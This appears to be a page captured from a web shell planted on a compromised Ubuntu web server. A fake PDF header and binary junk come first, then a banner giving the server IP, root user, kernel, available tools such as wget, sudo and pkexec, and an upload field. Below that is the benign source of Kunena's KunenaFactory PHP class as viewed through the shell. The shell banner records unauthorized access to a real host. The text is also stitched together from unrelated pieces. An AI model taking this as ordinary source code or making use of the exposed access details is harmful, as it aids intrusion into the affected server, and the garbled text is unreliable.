%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.248 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/old/libraries/kunena/ |
Upload File : |
<?php /** * Kunena Component * @package Kunena.Framework * * @copyright (C) 2008 - 2014 Kunena Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL * @link http://www.kunena.org **/ defined ( '_JEXEC' ) or die (); /** * Class KunenaFactory */ abstract class KunenaFactory { static $session = null; /** * Get a Kunena configuration object * * Returns the global {@link KunenaConfig} object, only creating it if it doesn't already exist. * * @return KunenaConfig */ public static function getConfig() { return KunenaConfig::getInstance(); } /** * Get a Kunena template object * * Returns the global {@link KunenaTemplate} object, only creating it if it doesn't already exist. * * @param string $name * @return KunenaTemplate */ public static function getTemplate($name = null) { return KunenaTemplate::getInstance($name); } /** * Get a Kunena template object * * Returns the global {@link KunenaTemplate} object, only creating it if it doesn't already exist. * * @return KunenaTemplate */ public static function getAdminTemplate() { if (version_compare(JVERSION, '3.0', '>')) { // Joomla 3.0+ template: require_once KPATH_ADMIN.'/template/joomla30/template.php'; $template = new KunenaAdminTemplate30; } else { // Joomla 2.5 template: require_once KPATH_ADMIN.'/template/joomla25/template.php'; $template = new KunenaAdminTemplate25; } return $template; } /** * Get Kunena user object * * Returns the global {@link KunenaUser} object, only creating it if it doesn't already exist. * * @param int $id The user to load - Can be an integer or string - If string, it is converted to Id automatically. * @param bool $reload * * @return KunenaUser */ public static function getUser($id = null, $reload = false) { return KunenaUserHelper::get($id, $reload); } /** * Get Kunena session object * * Returns the global {@link KunenaSession} object, only creating it if it doesn't already exist. * * @param array|bool $update An array containing session options * @return KunenaSession */ public static function getSession($update = false) { if (!is_object(KunenaFactory::$session)) { KunenaFactory::$session = KunenaSession::getInstance($update); } return KunenaFactory::$session; } /** * Get Kunena avatar integration object * * Returns the global {@link KunenaAvatar} object, only creating it if it doesn't already exist. * * @return KunenaAvatar */ public static function getAvatarIntegration() { return KunenaAvatar::getInstance(); } /** * Get Kunena private message system integration object * * Returns the global {@link KunenaPrivate} object, only creating it if it doesn't already exist. * * @return KunenaPrivate */ public static function getPrivateMessaging() { return KunenaPrivate::getInstance(); } /** * Get Kunena activity integration object * * Returns the global {@link KunenaIntegrationActivity} object, only creating it if it doesn't already exist. * * @return KunenaIntegrationActivity */ public static function getActivityIntegration() { return KunenaIntegrationActivity::getInstance(); } /** * Get Kunena profile integration object * * Returns the global {@link KunenaProfile} object, only creating it if it doesn't already exist. * * @return KunenaProfile */ public static function getProfile() { return KunenaProfile::getInstance(); } /** * Load Kunena language file * * Helper function for external modules and plugins to load the main Kunena language file(s) * */ public static function loadLanguage( $file = 'com_kunena', $client = 'site' ) { static $loaded = array(); KUNENA_PROFILER ? KunenaProfiler::instance()->start('function '.__CLASS__.'::'.__FUNCTION__.'()') : null; if ($client == 'site') { $lookup1 = JPATH_SITE; $lookup2 = KPATH_SITE; } else { $client = 'admin'; $lookup1 = JPATH_ADMINISTRATOR; $lookup2 = KPATH_ADMIN; } if (empty($loaded["{$client}/{$file}"])) { $lang = JFactory::getLanguage(); $english = false; if ($lang->getTag() != 'en-GB' && !JDEBUG && !$lang->getDebug() && !KunenaFactory::getConfig()->get('debug') && KunenaFactory::getConfig()->get('fallback_english')) { $lang->load($file, $lookup2, 'en-GB', true, false); $english = true; } $loaded[$file] = $lang->load($file, $lookup1, null, $english, false) || $lang->load($file, $lookup2, null, $english, false); } KUNENA_PROFILER ? KunenaProfiler::instance()->stop('function '.__CLASS__.'::'.__FUNCTION__.'()') : null; return $loaded[$file]; } protected static function parseLanguage($lang, $filename) { if (!file_exists($filename)) return false; $version = phpversion(); // Capture hidden PHP errors from the parsing. $php_errormsg = null; $track_errors = ini_get('track_errors'); ini_set('track_errors', true); if ($version >= '5.3.1') { $contents = file_get_contents($filename); $contents = str_replace('_QQ_', '"\""', $contents); $strings = @parse_ini_string($contents); } else { $strings = @parse_ini_file($filename); if ($version == '5.3.0' && is_array($strings)) { foreach ($strings as $key => $string) { $strings[$key] = str_replace('_QQ_', '"', $string); } } } // Restore error tracking to what it was before. ini_set('track_errors', $track_errors); if (!is_array($strings)) { $strings = array(); } $lang->_strings = array_merge($lang->_strings, $strings); return !empty($strings); } }